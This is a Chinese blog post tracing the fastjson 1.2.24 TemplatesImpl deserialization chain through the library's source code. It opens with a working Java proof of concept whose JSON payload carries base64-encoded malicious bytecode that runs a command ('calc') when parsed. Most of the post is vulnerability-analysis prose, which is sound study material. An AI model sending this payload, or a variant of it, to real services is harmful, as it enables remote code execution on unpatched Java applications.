fastjson1.2.24TemplatesImpl利用链源码分析

构造恶意类

package org.example.fastjson.TemplatesImpl;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

这里要说一下Feature.SupportNonPublicField属性，在没有Feature.SupportNonPublicField这个属性时，setter和getter以及相关属性为public的情况下，反序列化数据才能后触发setter或者getter导致的命令执行。但是如果我们的属性或者setter以及getter方法是private呢
Feature.SupportNonPublicField参数解决以上private的属性和setter没办法控制private属性的问题

目标后端程序进行反序列化解析的时候必须有如下条件，才能触发。

JSON.parseObject(input,Object.class, Feature.SupportNonPublicField);
JSON.parse(input,Feature.SupportNonPublicField)

Object.class是因为parseObject如果不传入Object.class则会返回fastjson.JSONObject，无法将传入的类进行转换。
Feature.SupportNonPublicField参数是为了能够控制目标类的私有属性。例如：_bytecodes用来存恶意字节码的。

Fastjson TemplatesImpl链反序列化漏洞分析
从parseObject函数开始：

    public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
        return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
    }

    public static <T> T parseObject(String input, Type clazz, ParserConfig config, int featureValues, Feature... features) {
        return parseObject(input, clazz, config, (ParseProcess)null, featureValues, features);
    }

这里有几个参数传入，并直接调用了parseObject的重载方法。
几个参数分别是input、clazz、config、features。
input传递进来的是需要反序列化的数据，这里即是我们的payload数据。
clazz为指定的对象，这里是Object.class对象
config则是ParserConfig的实例对象
features参数为反序列化反序列化private属性所用到的一个参数。

实例化了一个DefaultJSONParser，并调用parseObject方法，跟踪parseObject

来看到这一段代码，这里是个三目运算，type是否为Class对象并且type不等于 Object.class，type不等于
Serializable.class条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪。

这里将this.lexer的值，赋值给lexer，而这个this.lexer是在实例化DefaultJSONParser对象的时候被赋值的。在全参构造方法中我们可以看到，如下：

调用lexer.getCurrent()，获取到是ch中数据如果为{就将lexer.token设置为12，如果为[设置 lexer.token设置为14。
接下来会走到case 12:这里，

调用this.parseObject继续跟踪

在parseObject函数中的调用lexer.scanSymbol方法，这附近的逻辑是这个方法里面会一个一个字符循环获取双引号后面的内容(@type)，感兴趣的可以自行跟进，这里就不截图了
接着往下走到274行

判断key是否等于@type,等于则获取@type中的值，接着则是调用反射将这个类名传递进去获取一个方法获取类对象。这里就很清楚了，已经把类名传入，准备获取对象了
下面走到这段代码

跟进 this.config.getDeserializer后会发现，在构造方法中会调用build()函数，
接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build

在通过@type获取类之后，通过反射拿到该类所有的方法存入methods
接下来遍历methods进而获取get、set方法(循环遍历get,set方法)

set的查找方式：
方法名长度大于4
非静态方法
返回值为void或当前类
方法名以set开头
参数个数为1

get的查找方式：
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
这样一来就获取到了TemplatesImpl的getOutputProperties()

返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze继续调试跟踪，到parseField方法

跟进

smartMatch函数会替换_字符为空

执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField来到这一步

这里会循环调用我们传入的参数，也就是传入的get方法，去设置值，进行反射调用执行TemplatesImpl的getOutputProperties()方法后会调用出我们的代码，也就是弹出计算机

进行反射调用执行TemplatesImpl的getOutputProperties()方法。反序列化是调用了对我们有利用类的get方法。

在这命令就执行成功了，但是我们还有一个遗留下来的问题没有解答，就是_bytecodes为什么需要进行base64编码的问题

在解析byte数据的时候回去调用this.lexer.bytesValue();,跟踪就会看见会调用IOUtils.decodeBase64进行base64解密

这里还有payload没有分析，等后续了解了cc利用链再回来补这个坑

参考:
https://reader-l.github.io/2021/04/17/FastJason-1-2-22-1-2-24-TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
https://www.cnblogs.com/nice0e3/p/14601670.html#0x02-fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0

posted on 2022-09-13 18:13 noone52 阅读(91) 评论(0) 收藏举报

刷新页面返回顶部

公告